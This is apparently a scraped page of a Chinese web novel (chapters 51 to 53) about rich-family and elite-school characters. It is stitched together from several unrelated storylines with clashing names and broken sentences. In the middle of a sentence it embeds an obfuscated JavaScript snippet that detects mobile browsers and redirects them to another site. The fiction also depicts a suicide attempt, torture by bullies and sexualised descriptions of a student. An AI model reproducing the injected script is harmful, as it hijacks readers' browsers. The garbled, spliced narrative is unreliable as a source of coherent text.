毕竟他好歹也是顾俞辉的亲生儿子,既然把他接了回来,那自然是认下了他。 转折发生在一次意外中,他在书房的抽屉里翻出了张照片,木质的相框光滑无比,也不知道被摩挲了多少次。 照片中是他的父亲和一个女人的合影。 即使是在审美还未成型的年纪,他也依然被那个女人过分出众的美貌牢牢锁住了视线。 但不知道为什么,照片上两人的站位却有种说不出的怪异。 女人站在左侧,但身体仍然在向左靠,两个人看起来并不亲密。 吱呀一声,门从外面向内打开。 他吓了一大跳,手中的相册啪啦一下摔在地上,玻璃四分五裂,他慌忙从一堆碎片中捡起那张照片,却发现里面凹折进去了小部分。 完整摊开后,他才看到照片上面原来是三个人。 下一秒,手里的照片被粗暴夺了过去。 那个女人的脸,在这一刻再次浮现上了顾清许的心中,和面前的少年逐渐重合。 但奇怪的是,这个家里从来没有人提过那个女人,至少他一次都没有听到过。 以至于到现在,他连那个女人的名字叫什么都不知道。 其他人也就算了,毕竟那么多年前确实发生过不光彩的事,陈年烂账翻出来还是会引起非议,就像这次沈铭君做的事情。 但顾央为什么也从来没有提过。 那不是他的母亲吗? 难不成他也嫌丢人? 一想到这个可能性,顾清许看向对方的笑容中带上了几分隐晦的嘲讽。 似乎于他而言,能够发掘到顾央的劣性根,是一件很值得高兴的事情。 顾央看到顾清许又自顾自笑起来的表情,倒是并不在意。 因为他知道对方脑子本来就有点问题。 “对了,还有一件事情。”顾清许施施然说道,“十班有个叫丁子雨的,他父亲是我们旗下一个成衣子公司合作加工厂的老板,你跟他好像有点什么小误会吧。” “之前他托聂瑛找上我来,说是想要当面和你赔个不是,我差点给忘了。” 谁来着?顾央对这个名字好像有点印象。 “我听说,又是为了那个特招生是吧?”顾清许嗤笑了一声,“你还真是有够维护他的。” 哦,那个霸凌哥啊。 “我原本听沈铭君讲的时候还只是半信半疑,但现在看来,他还真不是在乱咬。”顾清许慢条斯理地步步紧逼,“顾央,你应该也不想这件事被父亲知道吧?” “不然他到时候厌弃你了,你在这个家里的位置可就尴尬了。” “哈?”顾央迷惑地看向对方,“他知不知道的有什么关系吗?” 回味过来什么,顾央忍不住笑了下:“你是在拿这个威胁我是吧。” 顾清许一顿,目光骤然生冷下来。 “要不这样吧,你直接设个宴会,把所有人都叫过来,我配合你一下,当众宣布下这个事情怎么样?” 又来了。 顾清许无意识地蜷缩了手指,看着顾央擦身而去,脚步没有任何的凝滞。 什么都无所谓,什么都不在意。 一天到晚疯言疯语的。 在顾央彻底消失在视线中之后,顾清许轻声啧了一声。 回到自己房间后,顾央把门反锁上,然后直接倾身倒在了床上。 啊,好累。 虽然也不知道干了什么,但一天下来就是好累。 他将身体埋进珊瑚绒的被套里,单薄的,骨感明显的肩膀无意识地陷了下去。 手机响了一声,他伏了好久以后,才半眯着眼前去看消息。 宋引星发过来的,提醒他收一下转账。 顾央不语,只随手截了钱包余额发回去。 对面打了个「。。。」过来。 顾央被逗笑了,他的头靠在枕头上,漆黑的发丝都在轻轻颤动,附在耳骨上的那层薄薄的组织浮出徘意,聚拢在新打出来的那个还没有完全消肿的耳洞边缘。 笑得有点累了,他的情绪才一点点回到原来的点,他就这么躺在床上,放松后的神经开始变得迷迷糊糊的,这是一种处于睡着和清醒之间的状态。 白天时沈铭君恐惧又震惊的眼神浮现在潜意识之中,顾央轻皱了下眉,把这个逼玩意努力地从脑子里赶出去。 他的睡眠质量一直不太好,一觉下来总是会容易磕磕绊绊地梦到很多东西。 女人又坐在草坪发呆。 她手里捧着个编好的花环,零星的花瓣和草根掉落在她的裙摆上。 在他小步跑过去的时候,女人将那个花环戴在了他的头上。 真好看。 真好看。他跟着重复一遍,笑得很开心。 我想去荡秋千,陪我一起好不好。 女人低头看着扯住她衣服的小手,情绪一下子升腾起来,她展颜在笑,从地上起来,抱着他原地旋转,裙摆旋转出一朵妍丽的花。 花圈被晃掉到了地上。 好,我们去荡秋千。妈妈很喜欢荡秋千,妈妈的爸爸妈妈也会一起荡秋千。 她下一句还说了什么。 但顾央已经从睡梦中一觉踏空醒了过来。 外面的天还黑漆漆一片,房间里的灯没有关掉他,他伸手去关掉。 关完灯以后,他才想起自己还没有洗澡,困倦地从床上下来。 拖鞋早就不知道被踢到了哪里去,他赤脚踩在地上走进浴室。 半个小时以后,他才慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14823954|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢悠悠地关掉花洒走出来。 看了眼闹钟的时间,怎么才凌晨四点。 但他已经睡不着了。 -宋引星昨晚没有睡好。 他半夜又做了噩梦,这梦还相当严丝合缝地书接了上回。 梦里又一次出现了丁子雨。 那句来日方长仿佛是开战的宣言。 从此以后,他原本还在极力维持的稳定生活,彻底乱成了一团。 丁子雨跟他是同班同学,比起压迫感十足的聂瑛,丁子雨层出不穷的为难更加让他疲于应对。 而他为难和针对的对象,并不只是他,还有一个人,他们是班上唯二的两个特招生。 欺软怕硬,看人下碟。 他可以不去在乎,但另一个特招生很快就陷入了崩溃。 在某一天早晨,即将展开全校大会时,他站在教学楼的天台上,轻轻跳了下去。 又只是一场梦吗? 宋引星恍惚地揉了下自己的太阳穴,但似乎又有很多地方对得上。 相比起他而言,那个特招生收到丁子雨欺压的时间更长,他们好像本来就认识,多余的宋引星也不知道,他对于人际关系一直非常冷漠,主要是也没有时间和精力去发展。 “今天是不是不用课间操,要开晨会啊。” “是吧,今天不是周三吗?” 宋引星怔住,转头去看说话的两个人。 “怎么了,宋哥?”说话的人虽然不是特招生,家里挺有钱,但也由衷佩服宋引星这种自己考进来的学霸,因此说话相当客气。 “你们有看到刘桦吗?”宋引星从心里生出一股荒谬感。 其实,他是唯物主义者。 “啊?不知道诶,是不是上厕所去了?” “说起来好像从早上起就没看到,是不是请假了?” 宋引星一下站了起来。 教学楼的天台上,一个满脸雀斑,身材瘦小的男生站在栏杆边缘,他刚要跨上去,原本麻木的神色,在看到底下让人头晕的景象时,又不禁重新晃动了起来。 “你在哪里干什么?” 一个懒洋洋的声音响起。 雀斑脸男生吓了一跳,手差点就要打滑,他还维持着要跳不跳的姿势,惨白着脸看向从视野盲区处探出身来的人。 “我、我要跳楼!”刘桦结结巴巴地说道,他的脸上毫无血色,手心发汗,不断地颤抖着,半条腿已经跨了出去。 “你不要拦着我,我已经没有选择了,都怪丁子雨,是他非要逼我,是他不给我活路!他不是想让我去死吗?那我就死给他看!” 说完那么长的一大段话后,刘桦的声音都带上了喘息,他死死地看着对面的人,原本恐惧的心,也渐渐平静了下来。 不知道为什么,他突然觉得,只要面前这个人再劝他一句的话,他就会有勇气从这里跃下去。 顾央点了点头,表示自己知道情况。 随即他平静又好奇地问道:“你站在那里是什么感觉?” 刘桦一愣,脑子没反应过来。 “我好像也还没有试过,刚好,要不我来陪你吧。” 说完起身朝栏杆那里走了过去。 刘桦:“?” 这个情节发展怎么跟他想的不太一样。 等等,你不要过来啊—— 50-60 第 51 章 第 51 章 顾央没有见过他的父亲,也没法从这座别墅中的其他任何人嘴里得知任何有关的只言片语。 每当他开口询问,所有人都会不约而同地低下头,摆出一副讳莫如深的表情。 唯一愿意分享的人是他的母亲。 温柔而美丽的女人会在风和日丽的午后,将他抱在膝盖上,用追忆般恍惚的神态,向他细声地讲述着相遇的故事。 一遍又一遍,一遍又一遍。 女人的额头抵着他的额头,外面温暖的阳光透过玻璃洒了进来,白纱质地的窗帘被风吹开,在这样美好的氛围下闪着细碎的光。 真的非常非常美好,就像是一场周而复始,浮满泡沫和彩虹的梦境一样。 丁宴与顾央一样,也是,从小奉行的便是有别,之间是激烈的竞争者——可就能随便乱进别人的房间了吗?! 道德在哪里,节操在哪里,这天下还有没有王法了?! 他像是一个忽然被闯进闺房的大小姐,又惊又怒。顾央却没有理他,他的头越来越晕,眼前出现重影。 ……可能是发烧了。 眩晕的失重感包围着他。他环顾了一下房间,忍不住按了按太阳穴,“我睡床,你睡地板。” 丁宴瞬间跳脚,他气得脸红脖子粗,暴跳如雷:“凭什么!顾央我今天算是看清你了!你就是一个土匪!强盗!你怎么好意思!” 顾央瞥了他一眼。 因为发烧,苍白的脸上涌起一抹潮红,他垂着头,长而卷的睫毛落下,掩盖住他那双如水般漂亮的蓝色眼眸,从衬衫中露出的脖颈一片病态的雪色,纤弱得仿佛一只手就能轻易折断。 他轻轻咳嗽了几声,单薄的胸膛起伏几下,带着指责意味说:“丁宴,白天是你先泼我水的。” 丁宴脑子一片空白,一瞬间什么都说不出了。 他眼睁睁地看着顾央旁若无人地进了禁闭室中的浴室,换下了白天那身潮湿的衬衫。水声淅淅沥沥地响起,丁宴坐在原地,憋了半晌,还是忍不住往浴室瞧了一眼。 禁闭室中的浴室是毛玻璃的,可以隐隐约约看见一个清瘦的人影。 很瘦,但是骨架很好看,像是被人精心打造的玻璃樽,有种易碎的惊心动魄的美,仿佛用力一点,就能破碎在手心。 如果把他压在玻璃上,从外面去看…… 丁宴面色一变,差点抽自己一巴掌。 浴室门倏地被打开。 清香的湿热水汽扑了丁宴一脸,他一扭头,就看见穿着一件宽大的衬衫站在浴室门口。 顾央黑发潮湿,额前发丝滴下水珠,轻轻呼出一口气,他有些意外地看向表情明显不自然的丁宴,眉毛挑了一下,“怎么了吗?” “你……”丁宴似乎又被他气到了,忽然注意到什么,神色怪异:“你皮肤为什么忽然这么红?” 身上的皮肤红得有些不太正常,似乎是有人大力揉搓过。顾央愣了一下,“我一直是这么洗澡的。” “你洗澡洗这么用力?不怕把皮给搓坏?”丁宴神色一冷。 顾央也很意外:“戚珣教我的……” 他小时候,很多事情不太记得,都是戚珣教他的。比如洗澡的时候,必须用力一直将皮肤挫至泛红。如果他不洗这么用力,戚珣便会骂他脏。 可惜顾央是真的不记得很多东西了,因此他甚至没有意识到这其实是戚珣故意折磨他,反而将此当做常识。 他一开始还会因为疼掉几滴生理性泪水,后面习惯了,便都咬牙坚持了。 丁宴神色不太好看,过了好一会,才说:“这样是不对的,你以后……轻一点。” 顾央敷衍地点了点头,很明显地感觉到自己体力不支,因此走到床边直直地倒了下去。 床头柜的煤油灯还燃着,他不知道丁宴是不是怕黑,因此只是用一只胳膊挡住自己的眼睛,眼皮沉甸甸地压下来。 “睡什么?我让你睡了吗?” 丁宴踹了床一脚,逼问他:“你从哪里学到的撬锁技巧……哈,忘记你是下民了,阴沟里的老鼠学一些不入流的技巧也很正常。” “还有,你宿舍被淹了,为什么偏要来我这里?戚珣不是你男朋友吗?你为什么不直接睡他那?” “我知道了,你被人嫌弃了吧。” 丁宴“哼”了一声,故意刺激他,“我就说他不会看上你这样的劣等品,劝你还是尽早和他分开……” 顾央被烧得有些迷迷糊糊的,他耳畔都是嗡嗡作响的嗡鸣声,然而他不回答,丁宴似乎就要这样没完没了了。因此他很轻地说:“他嫌我脏。” “不过,我也不愿意与你睡一起,是你……” 丁宴话说到一半,终于反应过来顾央方才说了什么,眼睛不可思议地瞪大,仿佛一只忽然被掐住脖子的老母鸡,下意识脱口而出:“什么?他嫌你脏?他凭什么?!” 丁宴没有听见顾央的回答,他看见蜷缩在铁架床的角落里,宽大的衬衫贴在他孱弱的肩胛骨上,垂坠着往下,缓缓勾勒出蜿蜒起伏的腰线。 那线条干净、流畅而温婉,仿佛被埋藏在雪原中的山峦。 丁宴忽然想起家中被人珍藏在橱柜中名贵的央花瓷瓶,那上面的线条也是这般易碎而饱满,漂亮得想要让人上手触摸把玩。 怎么会这么瘦?一只手就能掐住他的腰了,戚珣没有照顾好他吗?他在戚珣那受了欺负吗? 丁珣忍不住皱眉,胡思乱想着,然而很久没听见的回答,忍不住大骇:“喂,你不会死了吧?不要死在我这里啊!” 顾央忍不住逗逗小孩,他闭眼假寐,呼吸浅淡近似于无。 丁宴有些慌,他连滚带爬地冲到铁架床旁边,拼命地摇顾央,在他耳边疯狂叫道:“顾央!不许睡!” 睡着了就再也醒不过来了!电影里都是这么说的! 顾央被他摇得七荤八素,本就不舒服,现下是真的快吐出来了。他放下手臂,无奈地睁开眼睛,看着眼前的倒霉孩子,“丁宴,没人说过你很吵吗?” 丁宴快气成个河豚了,“吵?你跑来我的禁闭室,跟我,啊,孤男寡男共处一室,还让我睡冷冰冰的地板,居然还敢说我吵?!你到底知不知道我是因为谁才被关进来的啊?!我是什么很贱的人吗?!” 不,顾央默默地想,你是一点就着的炸药桶。 他被少年烦得头疼,只能勉强支起身体,给他挪了一点位置,闭着眼睛,“好啦,别吵了,你睡过来吧。” 似乎困极了,语气黏黏糊糊,带着点缱绻的温柔和不经意的纵容。 他躺在床上,将床垫压得微微凹陷下去,让那块原本雪白而平平无奇的被褥看起来像是一个温暖的巢穴,令人情不自禁地想要钻入。 丁宴一靠近,就能嗅到他身上的香气——不是白天闻到的刺鼻的硝烟气味,而是另一种,从皮肉中隐约透出的,更为引人沉沦的气息。 似乎是被大雪掩埋的松林清香。 等丁宴反应过来时,他已经躺在床上,和顾央肩并肩。两个人挨得很近,皮肉下透骨生香,一时间,丁宴鼻尖全是带着温暖水汽的清香。 顾央背对着丁宴,就这么无知无觉地暴露出来,因为沐浴,淋湿的发尾湿哒哒地附着在他苍白的皮肉上,显得那一小块皮肤苍白得几乎透明。 什么味道……好香……想咬…… 他察觉到有什么冰冰凉凉的东西在触碰自己的,只以为丁宴又在捣鼓折腾他,很低很低地警告他一声:“丁宴?别闹了。” 他警告得有气无力,听在丁宴耳里,跟撒娇一般无二。丁宴猛然回神,面红耳赤,瞬间后仰,差点滚下床去。 然而他快滚下去之际,一只手忽然把他拉了回来,像是在嗔怪,又像是在惩罚他一般,拍了下他的额头。像是小猫小狗不听话闯祸时被主人又气又无奈地拍打脑袋。 丁宴这才回过神来,捂着额头,脸颊烫得发热。 “……你到底和戚珣是什么关系啊?” 他支支吾吾,别扭至极,他长这么大,还是第一次与除了家人以外的人同床共枕。 顾央只占据了床边很小一块位置,他蜷缩着身子,从后看,只能看见微微凸起的脊柱从他嶙峋的后背突出,像是一只瘦弱的猫。 顾央困得迷迷糊糊,过了很久才回答他:“……我也不知道。” 说是兄弟,不为承认,说是情侣,也不太像。倒像是最熟悉的一对陌生人。 丁宴闻言,眼睛一亮,激动得扑在顾央身上,“什么意思?你没有与戚珣在一起,是不是?” 他沉甸甸地压下来,把顾央困在身下,在黑夜中,只露出一双黑亮亮的眼睛,像是见到骨头的小狗,尾巴都要摇起来了。 顾央推了推他,然而他手绵软无力,根本推不动。 明明两个人都是,他看上去却要更为瘦弱,一副好像随便什么人,都能轻而易举地蹂躏,碾出汁水。 他头颅无力地后仰,露出苍白脆弱的脖颈,丁宴盯着他毫无防备的脖颈,蓦然想起白日里身上那若有似无的香气,眼睛一时间有些发直,嘴上却还是说着:“那你能不能帮我追戚珣?” 宋引星躺在自己家里的床上,双眉紧皱,似乎是陷入了一场可怕的梦魇之中。 他又梦到了之前的事情。 好不容易终于搜集了那么聂瑛和他的小团伙霸凌的证据,不仅仅是他的,还有很多其他人,甚至有人愿意站出来和他一起作证。 他将那些资料整理起来,发送给了学校方。 但期待之中的正义审判并没有到临。 他被人围着推搡进了器材室的仓库。 有人架住他,有人重拳砸着他的腹部迫使他蜷缩起身体,再嬉笑着一点点把举报信撕碎塞进他的嘴里,灌了脏水让他吃下去。 他最后的天真和希望被彻底撕碎,原本以为这就是他们对自己的羞辱,没想到只是个助兴的开头。 他听到他们嬉笑的声音,一句又一句扭曲地撞在他的耳膜上。 「聂哥,我今天带来了个好东西刚好可以好好招待招待我们的大学霸。」 「这不是卷发棒吗?我们班上好几个女生都在用,你难不成是来给他做造型的?」 「你是没体会过这东西的厉害,上次我不知道抓了前面,给我烫出两个水泡来,我这次特地借过来的,给宋大学霸也好好尝尝这个味道。」 他眼睁睁地看着通电加热的卷发棒迎上来,周围的空气在高温板边上扭曲,他的心跳得越来越快,瞳孔放大,周围人笑得更加放肆,身形也一并扭曲,一个个像是张牙舞爪的怪物。 在高温板接近的那一瞬间,刻骨铭心的疼痛蔓延了他的灵魂,宋引星从床上惊醒过来—— 他喘着气,冷汗浸湿了后背,但手脚还僵直着,没有彻底噩梦中挣脱过来。 不知道缓了多久以后,他才机械地坐了起来,但身上的冷意始终没有消散。 这里明明是他的家,但又令他感到无比陌生,周围的环境在他眼中扭曲模糊,变得让他都辨识不出来。 恍惚中,他触碰到了毛茸茸的手感。 是顾央来他家时忘记带回去的那条围巾,他原本打算哪天带回去还给顾央。 他看着那条围巾,然后不受控制地一点点将脸伏了上去。 围巾上有股很淡很淡的香味,并不是人工香料的味道。他在那天抱住顾央的时候在他的颈侧感受过。 他原本跳得剧烈的心跳,在这份难以言喻的安心感下,终于被抚慰地一点点平息了下来。 第 52 章 第 52 章 顾央迷迷糊糊地从睡梦中苏醒过来,亮光从没有拉紧的窗帘中照进来。 他将脸伏进枕头里,维持着这个姿势又团了十几分钟,直到外面传来了轻轻的敲门声,他才认命地缓缓爬了起来。 开门出去时,他身上那股阴暗的低气压根本藏都藏不住。 负责过来叫早的佣人表情没有丝毫变化。 上岗第一天看到这幅模样的大少爷时,他吓得魂飞魄散,总觉得下一秒钟就要被原地开掉了。 后来多工作了几天,他才知道原来这就是大少爷自带的气场,现在已经完全能够做到心如止水。 走下楼梯时,顾清许早早地就已经坐在那里吃早饭,看到顾央,他慢条斯理地喝了口咖啡,微笑着开启了每日一阴阳:“终于舍得起来了?” 顾央在他对面坐下,看着放到眼前的那碗麦片粥,恹恹地搅来搅去,毫无胃口。 顾央觉得自己的梦似乎被人切成了很多碎片,一块一块的,漫长而冗杂。 他一会梦见了刚进戚家的时候,一会似乎又梦见了一个学校,食堂热闹拥挤,锅碗瓢盆叮当作响。 与加德王立学院还要分阶级的食堂截然不同,他似乎被人挤来挤去,有热烘烘的男生搂住他脖子,“小顾,吃这么少可不行,你看你这么瘦,到时候去执行任务怎么办?” “多吃点呗。你不够钱的话我请你?”- 患者体温过高,必须物理降温![事实上,你并不想与他们继续纠葛下去。] [因为你知道,继续与他们纠葛,你只有死路一条。] [只有军部,只有进军部,你才有可能活下来,才有可能摆脱戚家的枷锁,摆脱故事既有的大纲——一个你必死的结局。] 顾央脸色微微一凝,捂住自己耳朵。顾央从洗衣房出来时,已经接近半夜。 加德王立学院对学生的夜生活管教并不严格,宿管三天打鱼两天晒网。顾央走来走去,直接迷路。 窗外风雨交加,电闪雷鸣,他觉得头昏脑涨,似乎有些发烧,脚步沉甸甸地拖着,心脏缓慢地在他胸腔跳动,闷闷地令人呼吸不畅。 今晚该去哪里睡好呢?桥洞下已经去不了了,校医室的门也上锁了。 ……戚珣应该不会再生气了吧? 他艰难地撑起一丝理智,试图思考,然而大脑像是发泡的面团。 路过一扇门时,里面忽然传出一声叫嚷:“谁在外面?!” 那门长得跟监狱的铁门似的,门上还有一个铁栅栏围成的小窗。 顾央一扭头,就看见一双眼睛隔着一扇铁门恶狠狠地瞪视着他,仿佛一只狼崽子。 在看见他的脸厚,那人震惊地瞪大双眼,脱口而出:“操,顾央?为什么是你!” 顾央也很惊讶,“你是……” 他仔细回忆了一下,一副真的想不起来的模样,眉眼上很快带上了歉意。 铁门里的人快被他气吐血了,难以置信:“我是丁宴!你……我们白天还见过面的!你真不记得了?” 顾央想起来了,“你怎么在这里?” “你还好意思说!” 丁宴今天下午课一放,就被学生会拘留遣送,斥责他扰乱秩序,罚他关一天的禁闭。 他被没收了所有电子设备,在这里叫天天不应叫地地不灵,无聊得他快发霉,他气愤至极,隔着栅栏,恨不得把顾央掐死,“要不是你,我怎么会被学生会关!” 贵族学院的学生会是一个很神奇的存在。他至今也想不出他怎么就惹上了学生会会长,但是学生会会长可是与戚珣并列的四位名人之一,他怀疑是戚珣与学生会会长通气,来刻意打压他的。 不然他堂堂一个丁家少爷,有谁能惹他? “因为我?”顾央看上去有些意外,困惑道:“可是我不认识学生会的人,应该是你违反纪律了。” 他看上去很诚恳的模样。丁宴不知道他是真傻还是装的,可他一看顾央转身要走,脸上立刻露出慌乱的神色,艰难地从缝隙中伸出手,抓住顾央的衣领:“等等……你别走!” “你这么晚还要去哪里?” 顾央头重脚轻,浑身骨头在暴雨夜中泛着细密的疼,他感觉到自己呼出的呼吸有些灼热,整个人都轻飘飘的。 他忽然问:“你……禁闭室里有床吗?” “?”丁宴狐疑道:“当然有,你要干什么?” 还能干什么?在丁宴震惊的眼神中,顾央不知道从哪里掏出了回形针,把禁闭室的门撬开,就这么正大光明地走进了房间。 禁闭室是一间大约十平方米的房间,居然还有厕所与浴室,角落里摆着一个铁架床,上面的被褥崭新,带着清新的皂荚香,看得出是为了照顾这位小少爷特意换过的,床头柜的煤油灯悠悠跳着一簇火苗,橙黄色的光斑洒落一地,在这样的暴雨夜中,居然有种淡淡的温馨感。 顾央在小少爷震撼的眼神中笑了笑,说:“借你这里睡一晚。台风把我宿舍被淹了。” 丁宴只听到前一句,脑子就“嗡”了一声,什么也听不清了。 他震撼得不知道说什么才好了,噔噔噔地退至墙角,整个人都快贴到墙上了,语无伦次,心脏在胸膛中砰砰作响,整张脸当场红温,发出尖锐的爆鸣声:“等等,你,特意来找我,睡觉吗?!” 方才落水时,他脑海里似乎就有什么人在说话,他蹙着眉。 这是什么?脑震荡?可是他仔细去听,那道机械般的声音又消失不见,如雨水消失在海中。 顾央还待细想,然而,凄厉的警报声如一柄破风而来的快刀,切破了死沉沉的气氛,回旋的红光让人一瞬间寒毛炸起。 走廊的温度瞬间下降,寒气顺着门缝直逼,像一条冰冷的蛇,空气中飘散着淡淡的龙涎香。 刺耳的警报声响彻整座走廊,有人惊呼:“有失控了!!!” “失控!警卫队!警卫队!!!该死!他怎么朝着地下的宿舍跑去了!” “铁链都拴不住他!!!”顾央是真的快困死过去了,他有些后悔来这里了,迷迷糊糊地心想,早知道还不如撬校医室的门……明天跟护士姐姐好好道歉就好了。 “为什么不行?”丁宴不依不饶,缠着他不放,忽然想到什么,面色一变,目光沉了下来:“难道说你喜欢戚珣?” 即使被关禁闭室,小少爷看上去却依然与“落魄”二字没有一丝瓜葛。他身上穿着金丝勾边的衬衫,发根微微卷起,小卷毛打理得井井有条,令人想到橱窗中被人精心打扮、骄傲漂亮的波斯卷毛猫。 可眼下他沉下脸来,却莫名叫人发怵,直勾勾地盯着顾央脆弱的喉结,脸上的表情不知何时消失了,像是埋伏在丛林中,亟待衔住撕咬猎物脆弱咽喉的大猫。 可躺在他身下的人却无知无觉,脑袋无力地侧歪在雪白的枕头上,乌黑的发丝湿哒哒黏在他白腻的侧脸上,只是继续气若游丝,从鼻子里“嗯”了一声。 他这问题问得也好生奇怪,顾央与戚珣既然是在一起了,那自然是喜欢的,他非要多嘴问一句作甚? 可丁宴却莫名觉得一阵恼火,一时间分不清,到底是听见顾央说他喜欢戚珣而生气,还是他被拒绝而不甘,却还要嘴硬道:“我不信。你帮我追他,无论结果如何,只要你答应我,我都给你两百万。” 顾央本来想把这倒霉孩子推开,然而即使昏昏沉沉,当他听见两百万时,也忍不住恍惚动摇了一下。——不,是狠狠动摇。 这可是两百万……两百万…… 但是戚珣如果知道,肯定会把他皮都扒了的。 因此无论丁宴怎么死缠烂打,顾央都只会含含糊糊地说一声“不”。 丁宴恼羞成怒,他平生第一次求人,低声下气,刚柔并济,还是向着一个地位低劣的仆从,结果还被拒绝。 居然敢拒绝他?!他以为他拒绝的是谁?! 小少爷气得爆炸,自尊心上来了,恶狠狠地道:“不帮就不帮!你以为谁稀罕似的!” 他记恨上顾央的吝啬小气与不识抬举,狠狠背过身去,赌气不再去看身后的人,第二天禁闭室一开,他就火速冲了出去,不再愿意多看一眼身后的人。 “尝试注射过抑制剂了——他大爷的,他的皮肤把针头崩断了!我说这群S级能不能别壮得跟牛一样?!” “该死,这么浓的,要是有的发情期不小心被勾出来就完蛋了!” 门外响起凌乱的脚步声,由远及近,像极了某种猛兽在慢慢逼近,浓郁的瞬间炸开,顾央头晕目眩,他吃力地扶住门框,想要将安全锁挂上的一瞬间—— [识别,,占有,这是的作用。] [.9,你会是它的命定之番。] 门被大力撞开,劈里啪啦碎成了齑粉,顾央往后退了一步,下一秒,一个人好似炮弹一样冲进他的怀里,护住他的脑袋,带着他一起摔倒在地板上! 顾央头晕目眩地仰倒在地板上。他被一个庞然大物笼罩,阴影罩住了他,他吃力地睁开眼,恰好撞见一个人从他的怀里慢慢抬起头。 他眉目冰冷英俊,袖匝将他精壮的小臂线条勒得漂亮而利落,一双眼眸透着点血红,非人感强烈到近乎无机质。胸前的衬衫上更是挂着一个金色鸢尾花的铭牌,上面写着:“蒋白止”。 蒋白止?蒋白止……顾央想起那天校医室醒来后戚珣对自己的质问,意识到不妙。 然而龙涎香的味道欺压而来,顾央本就发热的身体莫名更为酸软,仿佛有某种暧昧的液体从神经中枢缓缓流向四肢百骸。 这感觉非常奇妙,几秒钟后变成了更深层次的空虚,肌肤下仿佛有某种微妙的刺激微微一跳。 顾央身体忍不住痉挛了一下,浅色的眼珠微微一凝,咬着牙,想要开口,可一张嘴,声音就猛地拐了一个大弯。 “啊……” 尾音都发着颤。顾央一愣,连忙捂住嘴,眼神却逐渐迷离起来,一层水雾涌上来,他恍恍惚惚,手绵软无力地垂下,勾住了的脖子。 与此同时,警报声再次响起:“S级蒋白止陷入暴走——请所有进入隔离区,有序撤离!”- 他体质太弱了……宋少,怎么办?- 抑制弹里面的药剂太过刺激了,可能是这个加速了他的病情…… 好吵,感觉两道声音交替着在他耳边,快把他脑袋挤炸了。顾央模模糊糊地想,还有什么没做来着,军部考试的报名时间是不是快截止了…… 他觉得自己仿佛被人推进了冰库,温度骤然降低,冷道刺骨冻肉。这种寒冷太过难捱,有点像是你在冬天不小心将空调开成了制冷,即使裹着被子,也依然挡不住丝丝凉凉的寒气。 他睡得迷迷糊糊,大脑一片浑浑噩噩,思考不能,艰难地在被窝里蜷缩起来,却忽然摸到了一个热源。 那像是久行沙漠之中终于看见绿洲,顾央下意识地抓住了那个热源,像是一个扑火的飞蛾,抓到了,就死也不放手。 只是那个热源不大,似乎只有拳头大小,而且他从被子里伸出颤颤巍巍的一只手,冷风就又灌进来了。于是他又轻轻地打起了寒颤,可是即使冷得不行,他也没有松开那只手。 【这就是周琴琴在后期勾搭上的谢坞的哥哥?】 【原来是喜欢人妻啊,最好还是带着儿子的寡妇,怪不得被拿捏地这么紧,最后连家底都被骗了进去。】 谢坞:“……” 原他本就还没恢复的头脑,听到这些话时,晕得更加厉害了。 第 53 章 第 53 章 眼看着谢坞脸色苍白,一副马上就要晕过去的样子,谢凯忍不住大声怒吼道:“医生呢?医生在哪里?” “治不好我弟弟,我让你们全部人都陪葬!” 余白只在短剧里看过这架势,他害怕得吞了口口水,他小心翼翼地指了指自己:“我们也要吗?” 没办法,他在顾央的心声里面听到过,聂瑛找小混混为难宋引星时,谢坞因为上去帮忙意外去世,谢凯选择报复的人居然是宋引星。 这是一个正常人该有的逻辑吗? 话题指向性明确,下午五点准星空降热搜,是在针对谁不央而喻。 宋引星拿着席娜的手机浏览了一段传得沸沸扬扬的视频,无非是顾央晚上从他房间离开的视频,甚至看不到具体的房间号,却在一番添油加醋的说辞之下,被冠以私生活混乱的污名。 话题背后显然雇了人买水军,网络上早已吵翻了天。 「都有金主了,还敢和导演睡,不会是玩3P吧?」 「见怪不怪了,现在哪个剧组没有潜规则啊?」 「现在的男演员都这么拼了吗?为了演戏玩这么花?」 「不是,就这能看出什么啊?造谣就凭一段视频和几句不知道真假的录音?」 「顾央还需要金主吗?有他叔叔这个靠山谁敢动他?」 「怕不是有人不知道宋导和顾怀星的关系吧?就算潜规则会去搞顾央?造谣不要太离谱。」 「顾一舟的角色原来定的是林广白,如果不是潜规则,为什么要换人?」 “宋导,要发声明吗?”席娜问道。 “先不用,照我的要求去做。”宋引星将手机还给了她,又在她低声耳边交代了几句话。 “知道了,宋导,”席娜点了点头,又说,“刚才杨总那边来了通电话,说是晚上想跟主演一起吃顿饭,希望您今天不要结束得太晚。” “跟主演一起吃饭?”宋引星有些意外,却没有多说什么,“那一会儿让闻炽他们按星过去。” “宋导……”席娜留意着他的脸色,迟疑着开口,“杨总说,只需要顾老师一个人过去,如果您这边拍摄紧张,就先拍其他部分,让顾老师一个人过去就行。” “顾央?”宋引星皱了下眉头,“有说是什么原因吗?” “没有,不过听杨总说,这次周总也会来。” “周奕辰也要来?”宋引星眸底的颜色深了几分,“是哪家酒店?” “在市中心的岚悦的酒店,星间是晚上七点。” “回复杨总,就说主演会按星过去。” “知道了,宋导。” 席娜走后,宋引星将所有演员都召集过来,宣布道:“今晚剧组临星停工,明早再拍下一场。” “咦,今晚宋导给放假了?”谢清越脸上露出惊讶的神色。 “回去好好研读剧本,谢清越,你台词背得不熟,还需要我提醒你吗?”宋引星冷冷看了他一眼。 “宋导,我保证背熟!”谢清越信心满满地承诺道。 宋引星没再理会他,目光越过他,看向后面的顾央:“顾央跟我出来一趟。” 顾央跟上他的脚步,出了片场后才问道:“宋导,有事找我?” 宋引星停下身:“杨总点名要见你,今天晚上跟我去趟岚悦酒店。” “杨总?”顾央不由一怔,“杨威升?” “按照我对他的了解,他想见你不会有什么好事,”宋引星唇边扬起一抹淡笑,对他的反应有着浓厚的兴趣,“要是这么告诉你的话,会觉得紧张吗?” “如果不会让宋导担心影响到拍摄,就说明我没有紧张的必要吧?”顾央想了想,反问他。 